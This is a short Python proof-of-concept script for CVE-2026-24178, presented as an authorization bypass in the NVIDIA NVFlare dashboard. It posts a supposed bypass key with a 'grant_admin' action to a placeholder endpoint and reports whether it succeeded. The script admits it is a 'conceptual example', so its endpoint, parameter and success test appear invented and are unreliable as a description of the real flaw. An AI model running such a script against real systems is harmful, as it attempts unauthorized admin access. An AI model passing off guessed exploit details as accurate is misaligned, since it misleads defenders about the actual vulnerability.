CVE-2026-24178

import requests # PoC for CVE-2026-24178: NVIDIA NVFlare Dashboard Authorization Bypass # Description: Exploits the user-controlled key to bypass authentication. TARGET_URL = "http://target-vulnerable-host:port/api/user/manage" # The vulnerability allows bypassing auth by controlling a specific key parameter # This is a conceptual example based on the vulnerability description. payload = { "user_key": "attacker_controlled_bypass_key", "action": "grant_admin" } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-24178-Scanner" } try: print(f"[*] Attempting to exploit {TARGET_URL}...") response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) if response.status_code == 200 and "admin" in response.text.lower(): print("[+] Exploit successful! Authorization bypassed.") print("[+] Response:", response.text) else: print("[-] Exploit failed or target is patched.") print("[-] Status Code:", response.status_code) except Exception as e: print(f"[!] Error: {e}")

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